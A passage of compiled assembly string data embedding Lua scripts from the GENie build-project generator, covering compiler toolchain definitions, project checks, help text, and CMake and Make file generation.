.asciz "premake.ghs = { }\npremake.ghs.namestyle = \"PS3\"\npremake.ghs.cc = \"ccppc\"\npremake.ghs.cxx = \"cxppc\"\npremake.ghs.ar = \"cxppc\"\nlocal cflags =\n{\nFatalWarnings = \"--quit_after_warnings\",\nOptimize = \"-Ogeneral\",\nOptimizeSize = \"-Osize\",\nOptimizeSpeed = \"-Ospeed\",\nSymbols = \"-g\",\n}\nlocal cxxflags =\n{\nNoExceptions = \"--no_exceptions\",\nNoRTTI = \"--no_rtti\",\nUnsignedChar = \"--unsigned_chars\",\n}\npremake.ghs.platforms =\n{\nNative = {\ncppflags = \"-MMD\",\n},\nPowerPC = {\ncc = \"ccppc\",\ncxx = \"cxppc\",\nar = \"cxppc\",\ncppflags = \"-MMD\",\narflags = \"-archive -o\",\n},\nARM = {\ncc = \"ccarm\",\ncxx = \"cxarm\",\nar = \"cxarm\",\ncppflags = \"-MMD\",\narflags = \"-archive -o\",\n}\n}\nlocal platforms = premake.ghs.platforms\nfunction premake.ghs.getcppflags(cfg)\nlocal flags = { }\ntable.insert(flags, platforms[cfg.platform].cppflags)\nreturn flags\nend\nfunction premake.ghs.getcflags(cfg)\nlocal result = table.translate(cfg.flags, cflags)\ntable.insert(result, platforms[cfg.platform].flags)\nreturn result\nend\nfunction premake.ghs.getcxxflags(cfg)\nlocal result = table.translate(cfg.flags, cxxflags)\nreturn result\nend\nfunction premake.ghs.getldflags(cfg)\nlocal result = { }\nlocal platform = platforms[cfg.platform]\ntable.insert(result, platform.flags)\ntable.insert(result, platform.ldflags)\nreturn result\nend\nfunction premake.ghs.getlibdirflags(cfg)\nlocal result = { }\nfor _, value in ipairs(premake.getlinks(cfg, \"all\", \"directory\")) do\ntable.insert(result, '-L' .. _MAKE.esc(value))\nend\nreturn result\nend\nfunction premake.ghs.getlibfiles(cfg)\nlocal result = {}\nreturn result\nend\nfunction premake.ghs.getlinkflags(cfg)\nlocal result = {}\nfor _, value in ipairs(premake.getlinks(cfg, \"system\", \"name\")) do\ntable.insert(result, '-lnk=' .. _MAKE.esc(value))\nend\nreturn result\nend\nfunction premake.ghs.getarchiveflags(prj, cfg, ndx)\nif prj.options.ArchiveSplit then\nerror(\"ghs tool does not support split archives\")\nend\nlocal result = {}\nlocal platform = platforms[cfg.platform]\ntable.insert(result, platform.arflags)\nreturn result\nend\nfunction premake.ghs.getdefines(defines)\nlocal result = { }\nfor _,def in ipairs(defines) do\ntable.insert(result, '-D' .. def)\nend\nreturn result\nend\nfunction premake.ghs.getincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, \"-I\" .. _MAKE.esc(dir))\nend\nreturn result\nend\nfunction premake.ghs.getcfgsettings(cfg)\nreturn platforms[cfg.platform].cfgsettings\nend\n"
l_.str.20: ; @.str.20
.asciz "premake.msc = { }\npremake.msc.namestyle = \"windows\"\n"
l_.str.21: ; @.str.21
.asciz "premake.ow = { }\npremake.ow.namestyle = \"windows\"\npremake.ow.cc = \"WCL386\"\npremake.ow.cxx = \"WCL386\"\npremake.ow.ar = \"ar\"\nlocal cflags =\n{\nPedanticWarnings = \"-wx\",\nExtraWarnings = \"-wx\",\nFatalWarning = \"-we\",\nFloatFast = \"-omn\",\nFloatStrict = \"-op\",\nOptimize = \"-ox\",\nOptimizeSize = \"-os\",\nOptimizeSpeed = \"-ot\",\nSymbols = \"-d2\",\n}\nlocal cxxflags =\n{\nNoExceptions = \"-xd\",\nNoRTTI = \"-xr\",\n}\npremake.ow.platforms =\n{\nNative = {\nflags = \"\"\n},\n}\nfunction premake.ow.getcppflags(cfg)\nreturn {}\nend\nfunction premake.ow.getcflags(cfg)\nlocal result = table.translate(cfg.flags, cflags)\nif (cfg.flags.Symbols) then\ntable.insert(result, \"-hw\") -- Watcom debug format for Watcom debugger\nend\nreturn result\nend\nfunction premake.ow.getcxxflags(cfg)\nlocal result = table.translate(cfg.flags, cxxflags)\nreturn result\nend\nfunction premake.ow.getldflags(cfg)\nlocal result = { }\nif (cfg.flags.Symbols) then\ntable.insert(result, \"op symf\")\nend\nreturn result\nend\nfunction premake.ow.getlibfiles(cfg)\nlocal result = {}\nreturn result\nend\nfunction premake.ow.getlinkflags(cfg)\nlocal result = { }\nreturn result\nend\nfunction premake.ow.getdefines(defines)\nlocal result = { }\nfor _,def in ipairs(defines) do\ntable.insert(result, '-D' .. def)\nend\nreturn result\nend\nfunction premake.ow.getincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, '-I \"' .. dir .. '\"')\nend\nreturn result\nend\n"
l_.str.22: ; @.str.22
.asciz "premake.snc = { }\npremake.snc.cc = \"snc\"\npremake.snc.cxx = \"g++\"\npremake.snc.ar = \"ar\"\nlocal cflags =\n{\nPedanticWarnings = \"-Xdiag=2\",\nExtraWarnings = \"-Xdiag=2\",\nFatalWarnings = \"-Xquit=2\",\n}\nlocal cxxflags =\n{\nNoExceptions = \"\", -- No exceptions is the default in the SNC compiler.\nNoRTTI = \"-Xc-=rtti\",\n}\npremake.snc.platforms =\n{\nPS3 = {\ncc = \"ppu-lv2-g++\",\ncxx = \"ppu-lv2-g++\",\nar = \"ppu-lv2-ar\",\ncppflags = \"-MMD -MP\",\n}\n}\nlocal platforms = premake.snc.platforms\nfunction premake.snc.getcppflags(cfg)\nlocal result = { }\ntable.insert(result, platforms[cfg.platform].cppflags)\nreturn result\nend\nfunction premake.snc.getcflags(cfg)\nlocal result = table.translate(cfg.flags, cflags)\ntable.insert(result, platforms[cfg.platform].flags)\nif cfg.kind == \"SharedLib\" then\ntable.insert(result, \"-fPIC\")\nend\nreturn result\nend\nfunction premake.snc.getcxxflags(cfg)\nlocal result = table.translate(cfg.flags, cxxflags)\nreturn result\nend\nfunction premake.snc.getldflags(cfg)\nlocal result = { }\nif not cfg.flags.Symbols then\ntable.insert(result, \"-s\")\nend\nif cfg.kind == \"SharedLib\" then\ntable.insert(result, \"-shared\")\nif not cfg.flags.NoImportLib then\ntable.insert(result, '-Wl,--out-implib=\"' .. cfg.linktarget.fullpath .. '\"')\nend\nend\nlocal platform = platforms[cfg.platform]\ntable.insert(result, platform.flags)\ntable.insert(result, platform.ldflags)\nreturn result\nend\nfunction premake.snc.getlibdirflags(cfg)\nlocal result = { }\nfor _, value in ipairs(premake.getlinks(cfg, \"all\", \"directory\")) do\ntable.insert(result, '-L' .. _MAKE.esc(value))\nend\nreturn result\nend\nfunction premake.snc.getlibfiles(cfg)\nlocal result = {}\nreturn result\nend\nfunction premake.snc.getlinkflags(cfg)\nlocal result = {}\nfor _, value in ipairs(premake.getlinks(cfg, \"system\", \"name\")) do\ntable.insert(result, '-l' .. _MAKE.esc(value))\nend\nreturn result\nend\nfunction premake.snc.getdefines(defines)\nlocal result = { }\nfor _,def in ipairs(defines) do\ntable.insert(result, '-D' .. def)\nend\nreturn result\nend\nfunction premake.snc.getincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, \"-I\" .. _MAKE.esc(dir))\nend\nreturn result\nend\n"
l_.str.23: ; @.str.23
.asciz "premake.valac = { }\npremake.valac.valac = \"valac\"\npremake.valac.cc = \"gcc\"\nlocal valaflags =\n{\nDisableAssert = \"--disable-assert\", -- Disable assertions\nDisableSinceCheck = \"--disable-since-check\", -- Do not check whether used symbols exist in local packages\nDisableWarnings = \"--disable-warnings\", -- Disable warnings\nEnableChecking = \"--enable-checking\", -- Enable additional run-time checks\nEnableDeprecated = \"--enable-deprecated\", -- Enable deprecated features\nEnableExperimental = \"--enable-experimental\", -- Enable experimental features\nEnableExperimentalNonNull = \"--enable-experimental-non-null\", -- Enable experimental enhancements for non-null types\nEnableGObjectTracing = \"--enable-gobject-tracing\", -- Enable GObject creation tracing\nEnableMemProfiler = \"--enable-mem-profiler\", -- Enable GLib memory profiler\nEnableThreading = \"--thread\", -- Enable multithreading support\nFatalWarnings = \"--fatal-warnings\", -- Treat warnings as fatal\nHideInternal = \"--hide-internal\", -- Hide symbols marked as internal\nNoStdPkg = \"--nostdpkg\", -- Do not include standard packages\nOptimize = \"-X -O2\",\nOptimizeSize = \"-X -Os\",\nOptimizeSpeed = \"-X -O3\",\nSymbols = \"-g\", -- Produce debug information\n}\npremake.valac.platforms = {}\nfunction premake.valac.getvalaflags(cfg)\nreturn table.translate(cfg.flags, valaflags)\nend\nfunction premake.valac.getlinks(links)\nlocal result = { }\nfor _, pkg in ipairs(links) do\ntable.insert(result, '--pkg ' .. pkg)\nend\nreturn result\nend\nfunction premake.valac.getdefines(defines)\nlocal result = { }\nfor _, def in ipairs(defines) do\ntable.insert(result, '-D ' .. def)\nend\nreturn result\nend\nfunction premake.valac.getbuildoptions(buildoptions)\nlocal result = { }\nfor _, def in ipairs(buildoptions) do\ntable.insert(result, '-X ' .. def)\nend\nreturn result\nend\nfunction premake.valac.getvapidirs(vapidirs)\nlocal result = { }\nfor _, def in ipairs(vapidirs) do\ntable.insert(result, '--vapidir=' .. def)\nend\nreturn result\nend\n"
l_.str.24: ; @.str.24
.asciz "premake.swift = { }\npremake.swift.swiftc = \"swiftc\"\npremake.swift.swift = \"swift\"\npremake.swift.cc = \"gcc\"\npremake.swift.ar = \"ar\"\npremake.swift.ld = \"ld\"\npremake.swift.dsymutil = \"dsymutil\"\nlocal swiftcflags =\n{\nSymbols = \"-g\", -- Produce debug information\nDisableWarnings = \"--suppress-warnings\", -- Disable warnings\nFatalWarnings = \"--warnings-as-errors\", -- Treat warnings as fatal\nOptimize = \"-O -whole-module-optimization\",\nOptimizeSize = \"-O -whole-module-optimization\",\nOptimizeSpeed = \"-Ounchecked -whole-module-optimization\",\nMinimumWarnings = \"-minimum-warnings\",\n}\nlocal swiftlinkflags = {\nStaticRuntime = \"-static-stdlib\",\n}\npremake.swift.platforms = {\nNative = {\nswiftcflags = \"\",\nswiftlinkflags = \"\",\n},\nx64 = {\nswiftcflags = \"\",\nswiftlinkflags = \"\",\n}\n}\nlocal platforms = premake.swift.platforms\nfunction premake.swift.get_sdk_path(cfg)\nreturn string.trim(os.outputof(\"xcrun --show-sdk-path\"))\nend\nfunction premake.swift.get_sdk_platform_path(cfg)\nreturn string.trim(os.outputof(\"xcrun --show-sdk-platform-path\"))\nend\nfunction premake.swift.get_toolchain_path(cfg)\nreturn string.trim(os.outputof(\"xcode-select -p\")) .. \"/Toolchains/XcodeDefault.xctoolchain\"\nend\nfunction premake.swift.gettarget(cfg)\nreturn \"-target x86_64-apple-macosx10.11\"\nend\nfunction premake.swift.getswiftcflags(cfg)\nlocal result = table.translate(cfg.flags, swiftcflags)\ntable.insert(result, platforms[cfg.platform].swiftcflags)\nresult = table.join(result, cfg.buildoptions_swift)\nif cfg.kind == \"SharedLib\" or cfg.kind == \"StaticLib\" then\ntable.insert(result, \"-parse-as-library\")\nend\ntable.insert(result, premake.swift.gettarget(cfg))\nreturn result\nend\nfunction premake.swift.getswiftlinkflags(cfg)\nlocal result = table.translate(cfg.flags, swiftlinkflags)\ntable.insert(result, platforms[cfg.platform].swiftlinkflags)\nresult = table.join(result, cfg.linkoptions_swift)\nif cfg.kind == \"SharedLib\" or cfg.kind == \"StaticLib\" then\ntable.insert(result, \"-emit-library\")\nelse\ntable.insert(result, \"-emit-executable\")\nend\ntable.insert(result, premake.swift.gettarget(cfg))\nreturn result\nend\nfunction premake.swift.getmodulemaps(cfg)\nlocal maps = {}\nif next(cfg.swiftmodulemaps) then\nfor _, mod in ipairs(cfg.swiftmodulemaps) do\ntable.insert(maps, string.format(\"-Xcc -fmodule-map-file=%s\", mod))\nend\nend\nreturn maps\nend\nfunction premake.swift.getlibdirflags(cfg)\nreturn premake.gcc.getlibdirflags(cfg)\nend\nfunction premake.swift.getldflags(cfg)\nlocal result = { platforms[cfg.platform].ldflags }\nlocal links = premake.getlinks(cfg, \"siblings\", \"basename\")\nfor _,v in ipairs(links) do\nif path.getextension(v) == \".framework\" then\ntable.insert(result, \"-framework \"..v)\nelse\ntable.insert(result, \"-l\"..v)\nend\nend\nreturn result\nend\nfunction premake.swift.getlinkflags(cfg)\nreturn premake.gcc.getlinkflags(cfg)\nend\nfunction premake.swift.getarchiveflags(cfg)\nreturn \"\"\nend\n"
l_.str.25: ; @.str.25
.asciz "function premake.checkprojects()\nlocal action = premake.action.current()\nfor sln in premake.solution.each() do\nif (#sln.projects == 0) then\nreturn nil, \"solution '\" .. sln.name .. \"' needs at least one project\"\nend\nif (#sln.configurations == 0) then\nreturn nil, \"solution '\" .. sln.name .. \"' needs configurations\"\nend\nfor prj in premake.solution.eachproject(sln) do\nif (not prj.language) then\nreturn nil, \"project '\" ..prj.name .. \"' needs a language\"\nend\nif (action.valid_languages) then\nif (not table.contains(action.valid_languages, prj.language)) then\nreturn nil, \"the \" .. action.shortname .. \" action does not support \" .. prj.language .. \" projects\"\nend\nend\nfor cfg in premake.eachconfig(prj) do\nif (not cfg.kind) then\nreturn nil, \"project '\" ..prj.name .. \"' needs a kind in configuration '\" .. cfg.name .. \"'\"\nend\nif (action.valid_kinds) then\nif (not table.contains(action.valid_kinds, cfg.kind)) then\nreturn nil, \"the \" .. action.shortname .. \" action does not support \" .. cfg.kind .. \" projects\"\nend\nend\nend\nif action.oncheckproject then\naction.oncheckproject(prj)\nend\nend\nend\nreturn true\nend\nfunction premake.checktools()\nlocal action = premake.action.current()\nif (not action.valid_tools) then \nreturn true \nend\nfor tool, values in pairs(action.valid_tools) do\nif (_OPTIONS[tool]) then\nif (not table.contains(values, _OPTIONS[tool])) then\nreturn nil, \"the \" .. action.shortname .. \" action does not support /\" .. tool .. \"=\" .. _OPTIONS[tool] .. \" (yet)\"\nend\nelse\n_OPTIONS[tool] = values[1]\nend\nend\nreturn true\nend\n"
l_.str.26: ; @.str.26
.asciz "function premake.showhelp()\nprintf(\"\")\nprintf(\"Usage: genie [options] action [arguments]\")\nprintf(\"\")\nprintf(\"OPTIONS\")\nprintf(\"\")\nfor option in premake.option.each() do\nlocal trigger = option.trigger\nlocal description = option.description\nif (option.value) then trigger = trigger .. \"=\" .. option.value end\nif (option.allowed) then description = description .. \"; one of:\" end\nprintf(\" --%-15s %s\", trigger, description)\nif (option.allowed) then\nfor _, value in ipairs(option.allowed) do\nprintf(\" %-14s %s\", value[1], value[2])\nend\nend\nprintf(\"\")\nend\nprintf(\"ACTIONS\")\nprintf(\"\")\nfor action in premake.action.each() do\nprintf(\" %-17s %s\", action.trigger, action.description)\nend\nprintf(\"\")\nprintf(\"For additional information, see https://github.com/bkaradzic/genie\")\nend\n"
l_.str.27: ; @.str.27
.asciz "premake._filelevelconfig = false\npremake._checkgenerate = true\nfunction premake.generate(obj, filename, callback)\nlocal prev = io.capture()\nlocal abort = (callback(obj) == false)\nlocal new = io.endcapture(prev)\nif abort then\npremake.stats.num_skipped = premake.stats.num_skipped + 1\nreturn\nend\nfilename = premake.project.getfilename(obj, filename)\nif (premake._checkgenerate) then\nlocal delta = false\nlocal f, err = io.open(filename, \"rb\")\nif (not f) then\nif string.find(err, \"No such file or directory\") then\ndelta = true\nelse\nerror(err, 0)\nend\nelse\nlocal existing = f:read(\"*all\")\nif existing ~= new then\ndelta = true\nend\nf:close()\nend\nif delta then\nprintf(\"Generating %q\", filename)\nlocal f, err = io.open(filename, \"wb\")\nif (not f) then\nerror(err, 0)\nend\nf:write(new)\nf:close()\npremake.stats.num_generated = premake.stats.num_generated + 1\nelse\npremake.stats.num_skipped = premake.stats.num_skipped + 1\nend\nelse\nprintf(\"Generating %q\", filename)\nlocal f, err = io.open(filename, \"wb\")\nif (not f) then\nerror(err, 0)\nend\nf:write(new)\nf:close()\npremake.stats.num_generated = premake.stats.num_generated + 1\nend\nend\nfunction premake.findDefaultScript(dir, search_upwards)\nsearch_upwards = search_upwards or true\nlocal last = \"\"\nwhile dir ~= last do\nfor _, name in ipairs({ \"genie.lua\", \"solution.lua\", \"premake4.lua\" }) do\nlocal script0 = dir .. \"/\" .. name\nif (os.isfile(script0)) then\nreturn dir, name\nend\nlocal script1 = dir .. \"/scripts/\" .. name\nif (os.isfile(script1)) then\nreturn dir .. \"/scripts/\", name\nend\nend\nlast = dir\ndir = path.getabsolute(dir .. \"/..\")\nif dir == \".\" or not search_upwards then break end\nend\nreturn nil, nil\nend\n"
l_.str.28: ; @.str.28
.asciz "iter = {}\nfunction iter.sortByKeys(arr, f)\nlocal a = table.keys(arr)\ntable.sort(a, f)\nlocal i = 0\nreturn function()\ni = i + 1\nif a[i] ~= nil then \nreturn a[i], arr[a[i]]\nend\nend\nend\n"
l_.str.29: ; @.str.29
.asciz "Set_mt = {}\nfunction Set(t)\nlocal set = {}\nfor k, l in ipairs(t) do \nset[l] = true \nend\nsetmetatable(set, Set_mt)\nreturn set\nend\nfunction Set_mt.union(a, b)\nlocal res = Set{}\nfor k in pairs(a) do res[k] = true end\nfor k in pairs(b) do res[k] = true end\nreturn res\nend\nfunction Set_mt.intersection(a, b)\nlocal res = Set{}\nfor k in pairs(a) do\nres[k] = b[k]\nend\nreturn res\nend\nlocal function get_cache(a)\nif not rawget(a, \"__cache\") then\nrawset(a, \"__cache\", Set_mt.totable(a))\nend\nreturn rawget(a, \"__cache\")\nend\nfunction Set_mt.len(a)\nreturn #get_cache(a)\nend\nfunction Set_mt.implode(a, sep)\nreturn table.concat(get_cache(a), sep)\nend\nfunction Set_mt.totable(a)\nlocal res = {}\nfor k in pairs(a) do\ntable.insert(res, k)\nend\nreturn res\nend\nfunction Set_mt.difference(a, b)\nif getmetatable(b) ~= Set_mt then\nif type(b) ~= \"table\" then\nerror(type(b)..\" is not a Set or table\")\nend\nb=Set(b)\nend\nlocal res = Set{}\nfor k in pairs(a) do\nres[k] = not b[k] or nil\nend\nrawset(res, \"__cache\", nil)\nreturn res\nend\nfunction Set_mt.__index(a, i)\nif type(i) == \"number\" then\nreturn get_cache(a)[i]\nend\nreturn Set_mt[i] or rawget(a, i)\nend\nSet_mt.__add = Set_mt.union\nSet_mt.__mul = Set_mt.intersection\nSet_mt.__sub = Set_mt.difference\nSet_mt.__len = Set_mt.len\nSet_mt.__concat = Set_mt.implode"
l_.str.30: ; @.str.30
.asciz "premake.cmake = { }\nnewaction {\ntrigger = \"cmake\",\nshortname = \"CMake\",\ndescription = \"Generate CMake project files\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\" },\nvalid_tools = {\ncc = { \"gcc\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"CMakeLists.txt\", premake.cmake.workspace)\nend,\nonproject = function(prj)\npremake.generate(prj, \"%%/CMakeLists.txt\", premake.cmake.project)\nend,\noncleansolution = function(sln)\npremake.clean.file(sln, \"CMakeLists.txt\")\nend,\noncleanproject = function(prj)\npremake.clean.file(prj, \"%%/CMakeLists.txt\")\nend\n}"
l_.str.31: ; @.str.31
.asciz "function premake.cmake.workspace(sln)\nif (sln.location ~= _WORKING_DIR) then\nlocal name = string.format(\"%s/CMakeLists.txt\", _WORKING_DIR)\nlocal f, err = io.open(name, \"wb\")\nif (not f) then\nerror(err, 0)\nend\nf:write('# CMakeLists autogenerated by GENie\\n')\nf:write('cmake_minimum_required(VERSION 2.8.4)\\n')\nf:write('\\n')\nf:write('add_subdirectory('.. path.getrelative(_WORKING_DIR, sln.location) ..')\\n')\nf:close()\nend\n_p('# CMakeLists autogenerated by GENie')\n_p('cmake_minimum_required(VERSION 2.8.4)')\n_p('')\nfor i,prj in ipairs(sln.projects) do\nlocal name = premake.esc(prj.name)\n_p('add_subdirectory(%s)', name)\nend\nend\n"
l_.str.32: ; @.str.32
.asciz "local cmake = premake.cmake\nlocal tree = premake.tree\nlocal includestr = 'include_directories(../%s)'\nlocal definestr = 'add_definitions(-D%s)'\nlocal function is_excluded(prj, cfg, file)\n if table.icontains(prj.excludes, file) then\n return true\n end\n if table.icontains(cfg.excludes, file) then\n return true\n end\n return false\nend\nfunction cmake.excludedFiles(prj, cfg, src)\n for _, v in ipairs(src) do\n if (is_excluded(prj, cfg, v)) then\n _p(1, 'list(REMOVE_ITEM source_list ../%s)', v)\n end\n end\nend\nfunction cmake.list(value)\n if #value > 0 then\n return \" \" .. table.concat(value, \" \")\n else\n return \"\"\n end\nend\nfunction cmake.files(prj)\n local ret = {}\n local tr = premake.project.buildsourcetree(prj)\n tree.traverse(tr, {\n onbranchenter = function(node, depth)\n end,\n onbranchexit = function(node, depth)\n end,\n onleaf = function(node, depth)\n assert(node, \"unexpected empty node\")\n if node.cfg then\n table.insert(ret, node.cfg.name)\n _p(1, '../%s', node.cfg.name)\n end\n end,\n }, true, 1)\n return ret\nend\nfunction cmake.header(prj)\n _p('# %s project autogenerated by GENie', premake.action.current().shortname)\n _p('cmake_minimum_required(VERSION 2.8.4)')\n _p('')\n _p('project(%s)', premake.esc(prj.name))\nend\nfunction cmake.customtasks(prj)\n local dirs = {}\n local tasks = {}\n for _, custombuildtask in ipairs(prj.custombuildtask or {}) do\n for _, buildtask in ipairs(custombuildtask or {}) do\n table.insert(tasks, buildtask)\n local d = string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s\", path.getdirectory(path.getrelative(prj.location, buildtask[2])))\n if not table.contains(dirs, d) then\n table.insert(dirs, d)\n _p('file(MAKE_DIRECTORY \\\"%s\\\")', d)\n end\n end\n end\n _p('')\n for _, buildtask in ipairs(tasks) do\n local deps = string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s \", path.getrelative(prj.location, buildtask[1]))\n local outputs = string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s \", path.getrelative(prj.location, buildtask[2]))\n local msg = \"\"\n for _, depdata in ipairs(buildtask[3] or {}) do\n deps = deps .. string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s \", path.getrelative(prj.location, depdata))\n end\n _p('add_custom_command(')\n _p(1, 'OUTPUT %s', outputs)\n _p(1, 'DEPENDS %s', deps)\n for _, cmdline in ipairs(buildtask[4] or {}) do\n if (cmdline:sub(1, 1) ~= \"@\") then\n local cmd = cmdline\n local num = 1\n for _, depdata in ipairs(buildtask[3] or {}) do\n cmd = string.gsub(cmd, \"%$%(\" .. num .. \"%)\", string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s \", path.getrelative(prj.location, depdata)))\n num = num + 1\n end\n cmd = string.gsub(cmd, \"%$%(<%)\", string.format(\"${CMAKE_CURRENT_SOURCE_DIR}/../%s \", path.getrelative(prj.location, buildtask[1])))\n cmd = string.gsub(cmd, \"%$%(@%)\", outputs)\n _p(1, 'COMMAND %s', cmd)\n else\n msg = cmdline\n end\n end\n _p(1, 'COMMENT \\\"%s\\\"', msg)\n _p(')')\n _p('')\n end\nend\nfunction cmake.depRules(prj)\n local maintable = {}\n for _, dependency in ipairs(prj.dependency) do\n for _, dep in ipairs(dependency) do\n if path.issourcefile(dep[1]) then\n local dep1 = premake.esc(path.getrelative(prj.location, dep[1]))\n local dep2 = premake.esc(path.getrelative(prj.location, dep[2]))\n if not maintable[dep1] then maintable[dep1] = {} end\n table.insert(maintable[dep1], dep2)\n end\n end\n end\n for key, _ in pairs(maintable) do\n local deplist = {}\n local depsname = string.format('%s_deps', path.getname(key))\n for _, d2 in pairs(maintable[key]) do\n table.insert(deplist, d2)\n end\n _p('set(')\n _p(1, depsname)\n for _, v in pairs(deplist) do\n _p(1, '${CMAKE_CURRENT_SOURCE_DIR}/../%s', v)\n end\n _p(')')\n _p('')\n _p('set_source_files_properties(')\n _p(1, '\\\"${CMAKE_CURRENT_SOURCE_DIR}/../%s\\\"', key)\n _p(1, 'PROPERTIES OBJECT_DEPENDS \\\"${%s}\\\"', depsname)\n _p(')')\n _p('')\n end\nend\nfunction cmake.commonRules(conf, str)\n local Dupes = {}\n local t2 = {}\n for _, cfg in ipairs(conf) do\n local cfgd = iif(str == includestr, cfg.includedirs, cfg.defines)\n for _, v in ipairs(cfgd) do\n if(t2[v] == #conf - 1) then\n _p(str, v)\n table.insert(Dupes, v)\n end\n if not t2[v] then\n t2[v] = 1\n else\n t2[v] = t2[v] + 1\n end\n end\n end\n return Dupes\nend\nfunction cmake.cfgRules(cfg, dupes, str)\n for _, v in ipairs(cfg) do\n if (not table.icontains(dupes, v)) then\n _p(1, str, v)\n end\n end\nend\nfunction cmake.removeCrosscompiler(platforms)\n for i = #platforms, 1, -1 do\n if premake.platforms[platforms[i]].iscrosscompiler then\n table.remove(platforms, i)\n end\n end\nend\nfunction cmake.project(prj)\n io.indent = \" \"\n cmake.header(prj)\n _p('set(')\n _p('source_list')\n local source_files = cmake.files(prj)\n _p(')')\n _p('')\n local nativeplatform = iif(os.is64bit(), \"x64\", \"x32\")\n local cc = premake.gettool(prj)\n local platforms = premake.filterplatforms(prj.solution, cc.platforms, \"Native\")\n cmake.removeCrosscompiler(platforms)\n local configurations = {}\n for _, platform in ipairs(platforms) do\n for cfg in premake.eachconfig(prj, platform) do\n -- TODO: Extend support for 32-bit targets on 64-bit hosts\n if cfg.platform == nativeplatform then\n table.insert(configurations, cfg)\n end\n end\n end\n local commonIncludes = cmake.commonRules(configurations, includestr)\n local commonDefines = cmake.commonRules(configurations, definestr)\n _p('')\n for _, cfg in ipairs(configurations) do\n _p('if(CMAKE_BUILD_TYPE MATCHES \\\"%s\\\")', cfg.name)\n -- list excluded files\n cmake.excludedFiles(prj, cfg, source_files)\n -- add includes directories\n cmake.cfgRules(cfg.includedirs, commonIncludes, includestr)\n -- add build defines\n cmake.cfgRules(cfg.defines, commonDefines, definestr)\n -- set CXX flags\n _p(1, 'set(CMAKE_CXX_FLAGS \\\"${CMAKE_CXX_FLAGS} %s\\\")', cmake.list(table.join(cc.getcppflags(cfg), cc.getcflags(cfg), cc.getcxxflags(cfg), cfg.buildoptions, cfg.buildoptions_cpp)))\n -- set C flags\n _p(1, 'set(CMAKE_C_FLAGS \\\"${CMAKE_C_FLAGS} %s\\\")', cmake.list(table.join(cc.getcppflags(cfg), cc.getcflags(cfg), cfg.buildoptions, cfg.buildoptions_c)))\n _p('endif()')\n _p('')\n end\n -- force CPP if needed\n if (prj.options.ForceCPP) then\n _p('set_source_files_properties(${source_list} PROPERTIES LANGUAGE CXX)')\n end\n -- add custom tasks\n cmake.customtasks(prj)\n -- per-dependency build rules\n cmake.depRules(prj)\n for _, cfg in ipairs(configurations) do\n _p('if(CMAKE_BUILD_TYPE MATCHES \\\"%s\\\")', cfg.name)\n if (prj.kind == 'StaticLib') then\n _p(1, 'add_library(%s STATIC ${source_list})', premake.esc(cfg.buildtarget.basename))\n end\n if (prj.kind == 'SharedLib') then\n _p(1, 'add_library(%s SHARED ${source_list})', premake.esc(cfg.buildtarget.basename))\n end\n if (prj.kind == 'ConsoleApp' or prj.kind == 'WindowedApp') then\n _p(1, 'add_executable(%s ${source_list})', premake.esc(cfg.buildtarget.basename))\n _p(1, 'target_link_libraries(%s%s%s)', premake.esc(cfg.buildtarget.basename), cmake.list(premake.esc(premake.getlinks(cfg, \"siblings\", \"basename\"))), cmake.list(cc.getlinkflags(cfg)))\n end\n _p('endif()')\n _p('')\n end\nend"
l_.str.33: ; @.str.33
.asciz "_MAKE = { }\npremake.make = { }\nlocal make = premake.make\nfunction _MAKE.esc(value)\nlocal result\nif (type(value) == \"table\") then\nresult = { }\nfor _,v in ipairs(value) do\ntable.insert(result, _MAKE.esc(v))\nend\nreturn result\nelse\nresult = value:gsub(\"\\\\\", \"\\\\\\\\\")\nresult = result:gsub(\" \", \"\\\\ \")\nresult = result:gsub(\"%%(\", \"\\\\%(\")\nresult = result:gsub(\"%%)\", \"\\\\%)\")\nresult = result:gsub(\"$\\\\%((.-)\\\\%)\", \"$%(%1%)\")\nreturn result\nend\nend\nfunction _MAKE.escquote(value)\nlocal result\nif (type(value) == \"table\") then\nresult = { }\nfor _,v in ipairs(value) do\ntable.insert(result, _MAKE.escquote(v))\nend\nreturn result\nelse\nresult = value:gsub(\" \", \"\\\\ \")\nresult = result:gsub(\"\\\"\", \"\\\\\\\"\")\nreturn result\nend\nend\nfunction premake.make_copyrule(source, target)\n_p('%s: %s', target, source)\n_p('\\t@echo Copying $(notdir %s)', target)\n_p('\\t-$(call COPY,%s,%s)', source, target)\nend\nfunction premake.make_mkdirrule(var)\n_p('\\t@echo Creating %s', var)\n_p('\\t-$(call MKDIR,%s)', var)\n_p('')\nend\nfunction make.list(value)\nif #value > 0 then\nreturn \" \" .. table.concat(value, \" \")\nelse\nreturn \"\"\nend\nend\nfunction _MAKE.getmakefilename(this, searchprjs)\nlocal count = 0\nfor sln in premake.solution.each() do\nif (sln.location == this.location) then count = count + 1 end\nif (searchprjs) then\nfor _,prj in ipairs(sln.projects) do\nif (prj.location == this.location) then count = count + 1 end\nend\nend\nend\nif (count == 1) then\nreturn \"Makefile\"\nelse\nreturn this.name .. \".make\"\nend\nend\nfunction _MAKE.getnames(tbl)\nlocal result = table.extract(tbl, \"name\")\nfor k,v in pairs(result) do\nresult[k] = _MAKE.esc(v)\nend\nreturn result\nend\nfunction make.settings(cfg, cc)\nif #cfg.makesettings > 0 then\nfor _, value in ipairs(cfg.makesettings) do\n_p(value)\nend\nend\nlocal toolsettings = cc.platforms[cfg.platform].cfgsettings\nif toolsettings then\n_p(toolsettings)\nend\nend\nnewaction {\ntrigger = \"gmake\",\nshortname = \"GNU Make\",\ndescription = \"Generate GNU makefiles for POSIX, MinGW, and Cygwin\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\", \"Vala\", \"Swift\" },\nvalid_tools = {\ncc = { \"gcc\", 